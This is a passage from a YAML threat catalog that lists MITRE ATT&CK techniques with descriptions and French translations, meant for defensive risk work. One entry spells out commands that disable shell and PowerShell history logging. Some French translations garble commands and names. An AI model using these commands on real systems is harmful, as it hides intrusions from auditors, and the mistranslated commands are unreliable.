      \ processes` can be used to display current running processes.(Citation: US-CERT-TA18-106A)(Citation:\
      \ show_processes_cisco_cmd)\nhttps://attack.mitre.org/techniques/T1057"
    translations:
      fr:
        name: "D\xE9couverte des processus"
        description: "Les adversaires peuvent tenter d\u2019obtenir des informations\
          \ sur l\u2019ex\xE9cution de processus sur un syst\xE8me. Les informations\
          \ obtenues pourraient \xEAtre utilis\xE9es pour comprendre les logiciels\
          \ et les applications courants qui s\u2019ex\xE9cutent sur les syst\xE8\
          mes du r\xE9seau. L\u2019administrateur ou un acc\xE8s \xE9lev\xE9 peut\
          \ fournir de meilleurs d\xE9tails sur le processus. Les adversaires peuvent\
          \ utiliser les informations de [Process Discovery](https://attack.mitre.org/techniques/T1057)\
          \ lors de la d\xE9couverte automatis\xE9e pour fa\xE7onner des comportements\
          \ ult\xE9rieurs, notamment si l\u2019adversaire infecte compl\xE8tement\
          \ la cible et/ou tente ou non des actions sp\xE9cifiques.\n\nDans les environnements\
          \ Windows, les adversaires pouvaient obtenir des d\xE9tails sur l\u2019\
          ex\xE9cution des processus \xE0 l\u2019aide de l\u2019utilitaire [Tasklist](https://attack.mitre.org/software/S0057)\
          \ via [cmd](https://attack.mitre.org/software/S0106) ou <code>Get-Process</code>\
          \ via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Des informations\
          \ sur les processus peuvent \xE9galement \xEAtre extraites de la sortie\
          \ des appels [Native API](https://attack.mitre.org/techniques/T1106) tels\
          \ que <code>CreateToolhelp32Snapshot</code>. Sous Mac et Linux, cela se\
          \ fait \xE0 l\u2019aide de la commande <code>ps</code>. Les adversaires\
          \ peuvent \xE9galement choisir d\u2019\xE9num\xE9rer les processus via \xAB\
          \ /proc \xBB. \n\nSur les p\xE9riph\xE9riques r\xE9seau, les commandes [Network\
          \ Device CLI](https://attack.mitre.org/techniques/T1059/008) telles que\
          \ 'show processes' peuvent \xEAtre utilis\xE9es pour afficher les processus\
          \ en cours d\u2019ex\xE9cution. (R\xE9f\xE9rence : US-CERT-TA18-106A)(R\xE9\
          f\xE9rence : show_processes_cisco_cmd)\nhttps://attack.mitre.org/techniques/T1057"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1562.003
    ref_id: T1562.003
    name: Impair Command History Logging
    description: "Adversaries may impair command history logging to hide commands\
      \ they run on a compromised system. Various command interpreters keep track\
      \ of the commands users type in their terminal so that users can retrace what\
      \ they've done. \n\nOn Linux and macOS, command history is tracked in a file\
      \ pointed to by the environment variable <code>HISTFILE</code>. When a user\
      \ logs off a system, this information is flushed to a file in the user's home\
      \ directory called <code>~/.bash_history</code>. The <code>HISTCONTROL</code>\
      \ environment variable keeps track of what should be saved by the <code>history</code>\
      \ command and eventually into the <code>~/.bash_history</code> file when a user\
      \ logs out. <code>HISTCONTROL</code> does not exist by default on macOS, but\
      \ can be set by the user and will be respected.\n\nAdversaries may clear the\
      \ history environment variable (<code>unset HISTFILE</code>) or set the command\
      \ history size to zero (<code>export HISTFILESIZE=0</code>) to prevent logging\
      \ of commands. Additionally, <code>HISTCONTROL</code> can be configured to ignore\
      \ commands that start with a space by simply setting it to \"ignorespace\".\
      \ <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting\
      \ it to \"ignoredups\". In some Linux systems, this is set by default to \"\
      ignoreboth\" which covers both of the previous examples. This means that \u201C\
      \ ls\u201D will not be saved, but \u201Cls\u201D would be saved by history.\
      \ Adversaries can abuse this to operate without leaving traces by simply prepending\
      \ a space to all of their terminal commands. \n\nOn Windows systems, the <code>PSReadLine</code>\
      \ module tracks commands used in all PowerShell sessions and writes them to\
      \ a file (<code>$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt</code>\
      \ by default). Adversaries may change where these logs are saved using <code>Set-PSReadLineOption\
      \ -HistorySavePath {File Path}</code>. This will cause <code>ConsoleHost_history.txt</code>\
      \ to stop receiving logs. Additionally, it is possible to turn off logging to\
      \ this file using the PowerShell command <code>Set-PSReadlineOption -HistorySaveStyle\
      \ SaveNothing</code>.(Citation: Microsoft PowerShell Command History)(Citation:\
      \ Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History\
      \ Forensics)\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)\
      \ on network devices to disable historical command logging (e.g. <code>no logging</code>).\n\
      https://attack.mitre.org/techniques/T1562/003"
    translations:
      fr:
        name: "Journalisation de l\u2019historique des commandes Impair"
        description: "Les adversaires peuvent alt\xE9rer l\u2019enregistrement de\
          \ l\u2019historique des commandes pour masquer les commandes qu\u2019ils\
          \ ex\xE9cutent sur un syst\xE8me compromis. Divers interpr\xE9teurs de commandes\
          \ gardent une trace des commandes que les utilisateurs saisissent dans leur\
          \ terminal afin que les utilisateurs puissent retracer ce qu\u2019ils ont\
          \ fait. \n\nSous Linux et macOS, l\u2019historique des commandes est suivi\
          \ dans un fichier point\xE9 par la variable <code>d\u2019environnement HISTFILE.</code>\
          \ Lorsqu\u2019un utilisateur se d\xE9connecte d\u2019un syst\xE8me, ces\
          \ informations sont vid\xE9es dans un fichier appel\xE9 <code>~/.bash_history</code>\
          \ dans le r\xE9pertoire personnel de l\u2019utilisateur. La variable <code>d\u2019\
          environnement HISTCONTROL</code> garde une trace de ce qui doit \xEAtre\
          \ sauvegard\xE9 par la commande <code>history</code> et \xE9ventuellement\
          \ dans le fichier <code>~/.bash_history</code> lorsqu\u2019un utilisateur\
          \ se d\xE9connecte. <code>HISTCONTROL</code> n\u2019existe pas par d\xE9\
          faut sur macOS, mais peut \xEAtre param\xE9tr\xE9 par l\u2019utilisateur\
          \ et sera respect\xE9.\n\nLes adversaires peuvent effacer la variable d\u2019\
          environnement historique (<code>d\xE9senclin HISTFILE)</code> ou d\xE9finir\
          \ la taille de l\u2019historique des commandes \xE0 z\xE9ro (<code>export\
          \ HISTFILESIZE=0</code>) pour emp\xEAcher l\u2019enregistrement des commandes.\
          \ De plus, <code>HISTCONTROL</code> peut \xEAtre configur\xE9 pour ignorer\
          \ les commandes qui commencent par un espace en le d\xE9finissant simplement\
          \ sur \xAB\_ignorespace\_\xBB. <code>HISTCONTROL</code> peut \xE9galement\
          \ \xEAtre configur\xE9 pour ignorer les commandes en double en le r\xE9\
          glant sur \xAB\_ignoredups\_\xBB. Dans certains syst\xE8mes Linux, cette\
          \ d\xE9finition est d\xE9finie par d\xE9faut sur \xAB\_ignoreboth\_\xBB\
          , ce qui couvre les deux exemples pr\xE9c\xE9dents. Cela signifie que \xAB\
          \_ls\_\xBB ne sera pas enregistr\xE9, mais \xAB\_ls\_\xBB sera sauv\xE9\
          \ par l\u2019histoire. Les adversaires peuvent en abuser pour op\xE9rer\
          \ sans laisser de traces en ajoutant simplement un espace \xE0 toutes leurs\
          \ commandes terminales. \n\nSur les syst\xE8mes Windows, le module <code>PSReadLine</code>\
          \ suit les commandes utilis\xE9es dans toutes les sessions PowerShell et\
          \ les \xE9crit dans un fichier (<code>$env\_:APPDATA\\Microsoft\\Windows\\\
          PowerShell\\PSReadLine\\ConsoleHost_history.txt</code> par d\xE9faut). Les\
          \ adversaires peuvent modifier l\u2019emplacement d\u2019enregistrement\
          \ de ces journaux \xE0 l\u2019aide <code>de Set-PSReadLineOption -HistorySavePath\
          \ {File Path}</code>. Cela <code>ConsoleHost_history.txt</code> emp\xEA\
          chera de recevoir les journaux. En outre, il est possible de d\xE9sactiver\
          \ la journalisation de ce fichier \xE0 l\u2019aide de la commande PowerShell\
          \ <code>Set-PSReadlineOption -HistorySaveStyle SaveNothing</code>. (Citation\
          \ : Historique des commandes Microsoft PowerShell)(Citation : audit de commande\
          \ Sophos PowerShell)(Citation : Sophos PowerShell Command History Forensics)\n\
          \nLes adversaires peuvent \xE9galement exploiter une [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)\
          \ sur les p\xE9riph\xE9riques r\xE9seau pour d\xE9sactiver la journalisation\
          \ des commandes historiques (par exemple, <code>aucune journalisation</code>).\n\
          https://attack.mitre.org/techniques/T1562/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1556.008
    ref_id: T1556.008
    name: Network Provider DLL
    description: "Adversaries may register malicious network provider dynamic link\
      \ libraries (DLLs) to capture cleartext user credentials during the authentication\
      \ process. Network provider DLLs allow Windows to interface with specific network\
      \ protocols and can also support add-on credential management functions.(Citation:\
      \ Network Provider API) During the logon process, Winlogon (the interactive\
      \ logon module) sends credentials to the local `mpnotify.exe` process via RPC.\
      \ The `mpnotify.exe` process then shares the credentials in cleartext with registered\
      \ credential managers when notifying that a logon event is happening.(Citation:\
      \ NPPSPY - Huntress)(Citation: NPPSPY Video)(Citation: NPLogonNotify) \n\nAdversaries\
      \ can configure a malicious network provider DLL to receive credentials from\
      \ `mpnotify.exe`.(Citation: NPPSPY) Once installed as a credential manager (via\
      \ the Registry), a malicious DLL can receive and save credentials each time\
      \ a user logs onto a Windows workstation or domain via the `NPLogonNotify()`\
      \ function.(Citation: NPLogonNotify)\n\nAdversaries may target planting malicious\
      \ network provider DLLs on systems known to have increased logon activity and/or\
      \ administrator logon activity, such as servers and domain controllers.(Citation:\
      \ NPPSPY - Huntress)\nhttps://attack.mitre.org/techniques/T1556/008"
    translations:
      fr:
        name: "DLL du fournisseur de r\xE9seau"
        description: "Les adversaires peuvent enregistrer des biblioth\xE8ques de\
          \ liens dynamiques (DLL) de fournisseur de r\xE9seau malveillantes pour\
          \ capturer les informations d\u2019identification de l\u2019utilisateur\
          \ en clair pendant le processus d\u2019authentification. Les DLL des fournisseurs\
          \ de r\xE9seau permettent \xE0 Windows de s\u2019interfacer avec des protocoles\
          \ r\xE9seau sp\xE9cifiques et peuvent \xE9galement prendre en charge des\
          \ fonctions compl\xE9mentaires de gestion des informations d\u2019identification.\
          \ (Citation : API du fournisseur de r\xE9seau) Pendant le processus de connexion,\
          \ Winlogon (le module de connexion interactif) envoie des informations d\u2019\
          identification au processus local mpnotify.exe via RPC. Le processus mpnotify.exe\
          \ partage ensuite les informations d\u2019identification en clair avec les\
          \ gestionnaires d\u2019informations d\u2019identification enregistr\xE9\
          s lorsqu\u2019il notifie qu\u2019un \xE9v\xE9nement d\u2019ouverture de\
          \ session se produit. (Citation : NPPSPY - Chasseresse)(Citation : Vid\xE9\
          o NPPSPY)(Citation : NPLogonNotify) \n\nLes adversaires peuvent configurer\
          \ une DLL de fournisseur de r\xE9seau malveillante pour recevoir les informations\
          \ d\u2019identification de \xAB mpnotify.exe \xBB. (Citation : NPPSPY) Une\
          \ fois install\xE9e en tant que gestionnaire d\u2019informations d\u2019\
          identification (via le registre), une DLL malveillante peut recevoir et\
          \ enregistrer des informations d\u2019identification chaque fois qu\u2019\
          un utilisateur se connecte \xE0 un poste de travail ou \xE0 un domaine Windows\
          \ via la fonction 'NPLogonNotify()'. (Citation : NPLogonNotify)\n\nLes adversaires\
          \ peuvent cibler l\u2019implantation de DLL de fournisseurs de r\xE9seau\
          \ malveillants sur des syst\xE8mes connus pour avoir une activit\xE9 de\
          \ connexion accrue et/ou une activit\xE9 de connexion de l\u2019administrateur,\
          \ tels que des serveurs et des contr\xF4leurs de domaine. (Citation : NPPSPY\
          \ - Chasseresse)\nhttps://attack.mitre.org/techniques/T1556/008"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1546.003
    ref_id: T1546.003
    name: Windows Management Instrumentation Event Subscription
    description: "Adversaries may establish persistence and elevate privileges by\
      \ executing malicious content triggered by a Windows Management Instrumentation\
      \ (WMI) event subscription. WMI can be used to install event filters, providers,\
      \ consumers, and bindings that execute code when a defined event occurs. Examples\
      \ of events that may be subscribed to are the wall clock time, user login, or\
      \ the computer's uptime.(Citation: Mandiant M-Trends 2015)\n\nAdversaries may\
      \ use the capabilities of WMI to subscribe to an event and execute arbitrary\
      \ code when that event occurs, providing persistence on a system.(Citation:\
      \ FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile\
      \ WMI scripts \u2013 using `mofcomp.exe`  \u2013into Windows Management Object\
      \ (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation:\
      \ Dell WMI Persistence)(Citation: Microsoft MOF May 2018)\n\nWMI subscription\
      \ execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus\
      \ may result in elevated SYSTEM privileges.\nhttps://attack.mitre.org/techniques/T1546/003"
    translations:
      fr:
        name: "Abonnement aux \xE9v\xE9nements Windows Management Instrumentation"
        description: "Les adversaires peuvent \xE9tablir une persistance et \xE9lever\
          \ des privil\xE8ges en ex\xE9cutant du contenu malveillant d\xE9clench\xE9\
          \ par un abonnement \xE0 un \xE9v\xE9nement WMI (Windows Management Instrumentation).\
          \ WMI peut \xEAtre utilis\xE9 pour installer des filtres d\u2019\xE9v\xE9\
          nements, des fournisseurs, des consommateurs et des liaisons qui ex\xE9\
          cutent du code lorsqu\u2019un \xE9v\xE9nement d\xE9fini se produit. Des\
          \ exemples d\u2019\xE9v\xE9nements auxquels il est possible d\u2019\xEA\
          tre abonn\xE9 sont l\u2019heure de l\u2019horloge murale, la connexion de\
          \ l\u2019utilisateur ou le temps de fonctionnement de l\u2019ordinateur.\
          \ (Citation : Mandiant M-Trends 2015)\n\nLes adversaires peuvent utiliser\
          \ les capacit\xE9s de WMI pour s\u2019abonner \xE0 un \xE9v\xE9nement et\
          \ ex\xE9cuter du code arbitraire lorsque cet \xE9v\xE9nement se produit,\
          \ assurant ainsi la persistance sur un syst\xE8me. (R\xE9f\xE9rence : FireEye\
          \ WMI SANS 2015)(R\xE9f\xE9rence : FireEye WMI 2015) Les adversaires peuvent\
          \ \xE9galement compiler des scripts WMI (\xE0 l\u2019aide de \xAB mofcomp.exe\
          \ \xBB dans des fichiers d\u2019objets de gestion Windows (MOF) (extension\
          \ .mof) qui peuvent \xEAtre utilis\xE9s pour cr\xE9er un abonnement malveillant.\
          \ (R\xE9f\xE9rence : Persistance de Dell WMI)(Citation : Microsoft MOF mai\
          \ 2018)\n\nL\u2019ex\xE9cution de l\u2019abonnement WMI est assur\xE9e par\
          \ le processus d\u2019h\xF4te du fournisseur WMI (WmiPrvSe.exe) et peut\
          \ donc entra\xEEner des privil\xE8ges SYSTEM \xE9lev\xE9s.\nhttps://attack.mitre.org/techniques/T1546/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1596.004
    ref_id: T1596.004
    name: CDNs
    description: "Adversaries may search content delivery network (CDN) data about\
      \ victims that can be used during targeting. CDNs allow an organization to host\
      \ content from a distributed, load balanced array of servers. CDNs may also\
      \ allow organizations to customize content delivery based on the requestor\u2019\
      s geographical region.\n\nAdversaries may search CDN data to gather actionable\
      \ information. Threat actors can use online resources and lookup tools to harvest\
      \ information about content servers within a CDN. Adversaries may also seek\
      \ and target CDN misconfigurations that leak sensitive information not intended\
      \ to be hosted and/or do not have the same protection mechanisms (ex: login\
      \ portals) as the content hosted on the organization\u2019s website.(Citation:\
      \ DigitalShadows CDN) Information from these sources may reveal opportunities\
      \ for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595)\
      \ or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)),\
      \ establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)\
      \ or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)),\
      \ and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)).\n\
      https://attack.mitre.org/techniques/T1596/004"
    translations:
      fr:
        name: CDN
        description: "Les adversaires peuvent rechercher des donn\xE9es de r\xE9seau\
          \ de diffusion de contenu (CDN) sur les victimes qui peuvent \xEAtre utilis\xE9\
          es lors du ciblage. Les CDN permettent \xE0 une organisation d\u2019h\xE9\
          berger du contenu \xE0 partir d\u2019un ensemble de serveurs distribu\xE9\
          s et \xE0 charge \xE9quilibr\xE9e. Les CDN peuvent \xE9galement permettre\
          \ aux organisations de personnaliser la diffusion de contenu en fonction\
          \ de la r\xE9gion g\xE9ographique du demandeur.\n\nLes adversaires peuvent\
          \ rechercher des donn\xE9es CDN pour recueillir des informations exploitables.\
          \ Les acteurs de la menace peuvent utiliser des ressources en ligne et des\
          \ outils de recherche pour recueillir des informations sur les serveurs\
          \ de contenu au sein d\u2019un CDN. Les adversaires peuvent \xE9galement\
          \ rechercher et cibler les erreurs de configuration du CDN qui divulguent\
          \ des informations sensibles non destin\xE9es \xE0 \xEAtre h\xE9berg\xE9\
          es et/ou qui ne disposent pas des m\xEAmes m\xE9canismes de protection (par\
          \ exemple, les portails de connexion) que le contenu h\xE9berg\xE9 sur le\
          \ site Web de l\u2019organisation. (Citation : CDN DigitalShadows) Les informations\
          \ provenant de ces sources peuvent r\xE9v\xE9ler des possibilit\xE9s pour\
          \ d\u2019autres formes de reconnaissance (ex : [Analyse active](https://attack.mitre.org/techniques/T1595)\
          \ ou [Recherche de sites Web/domaines ouverts](https://attack.mitre.org/techniques/T1593)),\
          \ l\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [Acquisition\
          \ d\u2019infrastructure](https://attack.mitre.org/techniques/T1583) ou [Compromission\
          \ d\u2019infrastructure](https://attack.mitre.org/techniques/T1584)), et/ou\
          \ un acc\xE8s initial (ex : [Passage intempestif Compromis](https://attack.mitre.org/techniques/T1189)).\n\
          https://attack.mitre.org/techniques/T1596/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1497.002
    ref_id: T1497.002
    name: User Activity Based Checks
    description: 'Adversaries may employ various user activity checks to detect and
      avoid virtualization and analysis environments. This may include changing behaviors
      based on the results of checks for the presence of artifacts indicative of a
      virtual machine environment (VME) or sandbox. If the adversary detects a VME,
      they may alter their malware to disengage from the victim or conceal the core
      functions of the implant. They may also search for VME artifacts before dropping
      secondary or additional payloads. Adversaries may use the information learned
      from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)
      during automated discovery to shape follow-on behaviors.(Citation: Deloitte
      Environment Awareness)


      Adversaries may search for user activity on the host based on variables such
      as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual
      Jan 2016) , browser history, cache, bookmarks, or number of files in common
      directories such as home or the desktop. Other methods may rely on specific
      user interaction with the system before the malicious code is activated, such
      as waiting for a document to close before activating a macro (Citation: Unit
      42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image
      to activate.(Citation: FireEye FIN7 April 2017)

      https://attack.mitre.org/techniques/T1497/002'
    translations:
      fr:
        name: "V\xE9rifications bas\xE9es sur l\u2019activit\xE9 de l\u2019utilisateur"
        description: "Les adversaires peuvent utiliser diverses v\xE9rifications de\
          \ l\u2019activit\xE9 des utilisateurs pour d\xE9tecter et \xE9viter les\
          \ environnements de virtualisation et d\u2019analyse. Il peut s\u2019agir\
          \ de modifier les comportements en fonction des r\xE9sultats des v\xE9rifications\
          \ de la pr\xE9sence d\u2019artefacts indiquant un environnement de machine\
          \ virtuelle (VME) ou un bac \xE0 sable. Si l\u2019adversaire d\xE9tecte\
          \ un VME, il peut modifier son logiciel malveillant pour se d\xE9sengager\
          \ de la victime ou dissimuler les fonctions essentielles de l\u2019implant.\
          \ Ils peuvent \xE9galement rechercher des artefacts VME avant de supprimer\
          \ des charges utiles secondaires ou suppl\xE9mentaires. Les adversaires\
          \ peuvent utiliser les informations apprises gr\xE2ce \xE0 la [virtualisation/\xE9\
          vasion du bac \xE0 sable](https://attack.mitre.org/techniques/T1497) lors\
          \ de la d\xE9couverte automatis\xE9e pour fa\xE7onner des comportements\
          \ ult\xE9rieurs. (Citation : Sensibilisation \xE0 l\u2019environnement de\
          \ Deloitte)\n\nLes adversaires peuvent rechercher l\u2019activit\xE9 de\
          \ l\u2019utilisateur sur l\u2019h\xF4te en fonction de variables telles\
          \ que la vitesse/fr\xE9quence des mouvements de souris et des clics (Citation\_\
          : Sans Virtual Jan 2016), l\u2019historique du navigateur, le cache, les\
          \ signets ou le nombre de fichiers dans des r\xE9pertoires communs tels\
          \ que la maison ou le bureau. D\u2019autres m\xE9thodes peuvent s\u2019\
          appuyer sur une interaction sp\xE9cifique de l\u2019utilisateur avec le\
          \ syst\xE8me avant que le code malveillant ne soit activ\xE9, comme attendre\
          \ la fermeture d\u2019un document avant d\u2019activer une macro (Citation\_\
          : Unit 42 Sofacy Nov 2018) ou attendre qu\u2019un utilisateur double-clique\
          \ sur une image int\xE9gr\xE9e pour l\u2019activer. (R\xE9f\xE9rence : FireEye\
          \ FIN7 avril 2017)\nhttps://attack.mitre.org/techniques/T1497/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1496.004
    ref_id: T1496.004
    name: Cloud Service Hijacking
    description: "Adversaries may leverage compromised software-as-a-service (SaaS)\
      \ applications to complete resource-intensive tasks, which may impact hosted\
      \ service availability. \n\nFor example, adversaries may leverage email and\
      \ messaging services, such as AWS Simple Email Service (SES), AWS Simple Notification\
      \ Service (SNS), SendGrid, and Twilio, in order to send large quantities of\
      \ spam / [Phishing](https://attack.mitre.org/techniques/T1566) emails and SMS\
      \ messages.(Citation: Invictus IR DangerDev 2024)(Citation: Permiso SES Abuse\
      \ 2023)(Citation: SentinelLabs SNS Sender 2024) Alternatively, they may engage\
      \ in LLMJacking by leveraging reverse proxies to hijack the power of cloud-hosted\
      \ AI models.(Citation: Sysdig LLMJacking 2024)(Citation: Lacework LLMJacking\
      \ 2024)\n\nIn some cases, adversaries may leverage services that the victim\
      \ is already using. In others, particularly when the service is part of a larger\
      \ cloud platform, they may first enable the service.(Citation: Sysdig LLMJacking\
      \ 2024) Leveraging SaaS applications may cause the victim to incur significant\
      \ financial costs, use up service quotas, and otherwise impact availability.\n\
      https://attack.mitre.org/techniques/T1496/004"
    translations:
      fr:
        name: "D\xE9tournement de services cloud"
        description: "Les adversaires peuvent exploiter des applications SaaS (Software-as-a-Service)\
          \ compromises pour effectuer des t\xE2ches gourmandes en ressources, ce\
          \ qui peut avoir un impact sur la disponibilit\xE9 des services h\xE9berg\xE9\
          s. \n\nPar exemple, les adversaires peuvent exploiter les services de messagerie\
          \ et de messagerie, tels que AWS Simple Email Service (SES), AWS Simple\
          \ Notification Service (SNS), SendGrid et Twilio, afin d\u2019envoyer de\
          \ grandes quantit\xE9s d\u2019e-mails et de SMS de spam/[hame\xE7onnage](https://attack.mitre.org/techniques/T1566).\
          \ (Citation : Invictus IR DangerDev 2024)(Citation : Permiso SES Abuse 2023)(Citation\
          \ : SentinelLabs SNS Sender 2024) Alternativement, ils peuvent s\u2019engager\
          \ dans le LLMJacking en exploitant des proxys inverses pour d\xE9tourner\
          \ la puissance des mod\xE8les d\u2019IA h\xE9berg\xE9s dans le cloud. (Citation\
          \ : Sysdig LLMJacking 2024)(Citation : Lacework LLMJacking 2024)\n\nDans\
          \ certains cas, les adversaires peuvent tirer parti des services que la\
          \ victime utilise d\xE9j\xE0. Dans d\u2019autres, en particulier lorsque\
          \ le service fait partie d\u2019une plate-forme cloud plus vaste, ils peuvent\
          \ d\u2019abord activer le service. (Citation : Sysdig LLMJacking 2024) L\u2019\
          exploitation d\u2019applications SaaS peut entra\xEEner des co\xFBts financiers\
          \ importants, l\u2019utilisation de quotas de services et un impact sur\
          \ la disponibilit\xE9.\nhttps://attack.mitre.org/techniques/T1496/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1585.003
    ref_id: T1585.003
    name: Cloud Accounts
    description: 'Adversaries may create accounts with cloud providers that can be
      used during targeting. Adversaries can use cloud accounts to further their operations,
      including leveraging cloud storage services such as Dropbox, MEGA, Microsoft
      OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002)
      or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts
      can also be used in the acquisition of infrastructure, such as [Virtual Private
      Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007)
      infrastructure. Establishing cloud accounts may allow adversaries to develop
      sophisticated capabilities without managing their own servers.(Citation: Awake
      Security C2 Cloud)


      Creating [Cloud Accounts](https://attack.mitre.org/techniques/T1585/003) may
      also require adversaries to establish [Email Accounts](https://attack.mitre.org/techniques/T1585/002)
      to register with the cloud provider.

      https://attack.mitre.org/techniques/T1585/003'
    translations:
      fr:
        name: Comptes cloud
        description: "Les adversaires peuvent cr\xE9er des comptes aupr\xE8s de fournisseurs\
          \ de cloud qui peuvent \xEAtre utilis\xE9s lors du ciblage. Les adversaires\
          \ peuvent utiliser des comptes cloud pour poursuivre leurs op\xE9rations,\
          \ notamment en exploitant des services de stockage cloud tels que Dropbox,\
          \ MEGA, Microsoft OneDrive ou des compartiments AWS S3 pour [Exfiltration\
          \ vers le stockage cloud](https://attack.mitre.org/techniques/T1567/002)\
          \ ou vers [Outil de chargement](https://attack.mitre.org/techniques/T1608/002).\
          \ Les comptes cloud peuvent \xE9galement \xEAtre utilis\xE9s dans l\u2019\
          acquisition d\u2019infrastructures, telles que l\u2019infrastructure [Virtual\
          \ Private Server](https://attack.mitre.org/techniques/T1583/003) ou l\u2019\
          infrastructure [Serverless](https://attack.mitre.org/techniques/T1583/007).\
          \ L\u2019\xE9tablissement de comptes cloud peut permettre aux adversaires\
          \ de d\xE9velopper des fonctionnalit\xE9s sophistiqu\xE9es sans g\xE9rer\
          \ leurs propres serveurs. (Citation : Awake Security C2 Cloud)\n\nLa cr\xE9\
          ation de [comptes cloud](https://attack.mitre.org/techniques/T1585/003)\
          \ peut \xE9galement n\xE9cessiter que des adversaires cr\xE9ent des [comptes\
          \ de messagerie](https://attack.mitre.org/techniques/T1585/002) pour s\u2019\
          enregistrer aupr\xE8s du fournisseur de cloud.\nhttps://attack.mitre.org/techniques/T1585/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1072
    ref_id: T1072
    name: Software Deployment Tools
    description: "Adversaries may gain access to and use centralized software suites\
      \ installed within an enterprise to execute commands and move laterally through\
      \ the network. Configuration management and software deployment applications\
      \ may be used in an enterprise network or cloud environment for routine administration\
      \ purposes. These systems may also be integrated into CI/CD pipelines. Examples\
      \ of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft\
      \ Intune, Azure Arc, and GCP Deployment Manager.  \n\nAccess to network-wide\
      \ or enterprise-wide endpoint management software may enable an adversary to\
      \ achieve remote code execution on all connected systems. The access may be\
      \ used to laterally move to other systems, gather information, or cause a specific\
      \ effect, such as wiping the hard drives on all endpoints.\n\nSaaS-based configuration\
      \ management services may allow for broad [Cloud Administration Command](https://attack.mitre.org/techniques/T1651)\
      \ on cloud-hosted instances, as well as the execution of arbitrary commands\
      \ on on-premises endpoints. For example, Microsoft Configuration Manager allows\
      \ Global or Intune Administrators to run scripts as SYSTEM on on-premises devices\
      \ joined to Entra ID.(Citation: SpecterOps Lateral Movement from Azure to On-Prem\
      \ AD 2020) Such services may also utilize [Web Protocols](https://attack.mitre.org/techniques/T1071/001)\
      \ to communicate back to adversary owned infrastructure.(Citation: Mitiga Security\
      \ Advisory: SSM Agent as Remote Access Trojan)\n\nNetwork infrastructure devices\
      \ may also have configuration management tools that can be similarly abused\
      \ by adversaries.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected\
      \ Chinese Actor in Espionage Operation)\n\nThe permissions required for this\
      \ action vary by system configuration; local credentials may be sufficient with\
      \ direct access to the third-party system, or specific domain credentials may\
      \ be required. However, the system may require an administrative account to\
      \ log in or to access specific functionality.\nhttps://attack.mitre.org/techniques/T1072"
    translations:
      fr:
        name: "Outils de d\xE9ploiement de logiciels"
        description: "Les adversaires peuvent acc\xE9der aux suites logicielles centralis\xE9\
          es install\xE9es au sein d\u2019une entreprise et les utiliser pour ex\xE9\
          cuter des commandes et se d\xE9placer lat\xE9ralement sur le r\xE9seau.\
          \ Les applications de gestion de la configuration et de d\xE9ploiement de\
          \ logiciels peuvent \xEAtre utilis\xE9es dans un r\xE9seau d\u2019entreprise\
          \ ou un environnement cloud \xE0 des fins d\u2019administration courante.\
          \ Ces syst\xE8mes peuvent \xE9galement \xEAtre int\xE9gr\xE9s dans des pipelines\
          \ CI/CD. Des exemples de ces solutions incluent : SCCM, HBSS, Altiris, AWS\
          \ Systems Manager, Microsoft Intune, Azure Arc et GCP Deployment Manager.\
          \  \n\nL\u2019acc\xE8s \xE0 un logiciel de gestion des terminaux \xE0 l\u2019\
          \xE9chelle du r\xE9seau ou de l\u2019entreprise peut permettre \xE0 un adversaire\
          \ d\u2019ex\xE9cuter du code \xE0 distance sur tous les syst\xE8mes connect\xE9\
          s. L\u2019acc\xE8s peut \xEAtre utilis\xE9 pour se d\xE9placer lat\xE9ralement\
          \ vers d\u2019autres syst\xE8mes, collecter des informations ou provoquer\
          \ un effet sp\xE9cifique, tel que l\u2019effacement des disques durs sur\
          \ tous les terminaux.\n\nLes services de gestion de configuration bas\xE9\
          s sur SaaS peuvent permettre une large [Cloud Administration Command](https://attack.mitre.org/techniques/T1651)\
          \ sur des instances h\xE9berg\xE9es dans le cloud, ainsi que l\u2019ex\xE9\
          cution de commandes arbitraires sur des points de terminaison locaux. Par\
          \ exemple, Microsoft Configuration Manager permet aux administrateurs globaux\
          \ ou Intune d\u2019ex\xE9cuter des scripts en tant que SYSTEM sur des appareils\
          \ locaux joints \xE0 Entra ID. (Citation : D\xE9placement lat\xE9ral de\
          \ SpecterOps d\u2019Azure vers AD sur site 2020) Ces services peuvent \xE9\
          galement utiliser [Web Protocols](https://attack.mitre.org/techniques/T1071/001)\
          \ pour communiquer avec l\u2019infrastructure appartenant \xE0 l\u2019adversaire.\
          \ (Citation : Avis de s\xE9curit\xE9 Mitiga : l\u2019agent SSM en tant que\
          \ cheval de Troie d\u2019acc\xE8s \xE0 distance)\n\nLes p\xE9riph\xE9riques\
